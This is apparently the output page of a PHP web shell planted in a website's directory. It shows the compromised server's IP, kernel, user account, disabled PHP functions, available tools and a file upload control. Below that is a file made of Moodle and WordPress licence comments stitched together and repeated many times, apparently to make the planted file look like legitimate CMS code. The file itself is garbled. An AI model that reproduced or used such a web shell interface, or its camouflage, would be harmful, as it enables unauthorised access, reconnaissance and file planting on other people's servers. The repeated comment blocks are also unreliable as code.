| Server IP : 122.155.17.190 / Your IP : 216.73.216.14 Web Server : Apache/2 System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 User : t1bnc ( 1042) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/t1bnc/public_html/travels/theme/calendar/CVS/ |
Upload File : |
<?php
// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
